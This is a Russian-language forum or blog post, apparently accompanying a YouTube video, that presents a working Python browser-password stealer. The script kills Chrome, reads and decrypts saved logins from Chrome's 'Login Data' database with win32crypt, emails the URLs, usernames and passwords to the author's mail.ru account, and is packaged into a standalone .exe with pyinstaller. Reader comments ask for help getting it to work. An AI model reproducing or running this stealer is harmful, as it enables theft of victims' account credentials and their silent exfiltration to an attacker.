Ramas Вопрос задан 2019-09-07

Как я угнал, перехватил пароли с помощью Python

Привет всем, здесь все написана исключительно для моих друзей с моего канал на YouTube, вот это видео https://www.youtube.com/watch?v=XHkHCJ3BX04 Сайт еще полностью не готов, так скажет на бета тестировании, (рабою в продакшене :D ) много чего пока нету, или нормально не работает, но если возникнут вопросы по данной статье можете задать его здесь я обязательно отвечу. Начнем. После установки python ставим дополнительные модули для работы скрипта.
pip install pysqlite3 
pip install pypiwin32
pip install psutil
# pyinstaller поможет нам сделать *.exe файл
pip install pyinstaller
Вот тот самый скрипт который после запуска отправил содержимое базы Login Data мне на почту

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from os import getenv
import sqlite3
import win32crypt 
import psutil

def MY_SMTP(login_pass):
    my_mail = "programas@mail.ru" # Ваш логин от почты mail.ru
    my_password = "пароль" # Ваш пароль от почты mail.ru

    msg = MIMEMultipart('alternative')
    msg['Subject'] = "Google"
    msg['From'] = my_mail
    msg['To'] = my_mail

    html = """<html>
    <head></head>
    <body>
    {}
    </body>
    </html>
    """.format('<br>'.join(login_pass))

    part2 = MIMEText(html, 'html')
    msg.attach(part2)
    mail = smtplib.SMTP('smtp.mail.ru', 587)
    mail.ehlo()
    mail.starttls()
    mail.login(my_mail, my_password)
    mail.sendmail(my_mail, my_mail, msg.as_string())
    mail.quit()

def killproc(): # Закроет принудительно Google Chrome, что бы база (файл) Login Data не была занята
    PROCNAME = "chrome.exe"
    for proc in psutil.process_iter():
        if proc.name() == PROCNAME:
            proc.kill()

def LoginData():
    killproc()
    PASS_LOGIN = []
    # Подключаемся к базе данных "Login Data"
    # Записываем в список всё из таблицы logins (значения из трех столбцов)
    conn = sqlite3.connect(getenv("APPDATA") + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data")
    cursor = conn.cursor()
    cursor.execute('SELECT action_url, username_value, password_value FROM logins')
    # Пробежимся по каждой строке из списка
    for result in cursor.fetchall():
        # С помощью win32crypt расшифруем пароль
        password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
        # Если пароль расшифрован записываем в список адрес сайта, логин и пароль
        if password:
            PASS_LOGIN.append('URL:{}, | {}:{} | '.format(result[0],result[1],password.decode('utf-8')))
    MY_SMTP(PASS_LOGIN)
LoginData() # Запускаем функцию

Команда в CMD с помощью которой я превратил скрипт в *.exe файл

pyinstaller --onefile путь_до_скрипта.py 
python login data угон перехват
У меня проблема с отправкой. То есть письмо приходит, а сам файл нет.
Ответ написан 2019-10-06
А нет, это у меня не было паролей... Извини
Ответ написан 2019-10-06
Брат у меня не получается можеш записать видео по подробнее обяснить как зделать папку где создавать пожалуйста
Ответ написан 2019-10-16

Чтобы оставить ответ Вам необходимо зарегистрироваться или войти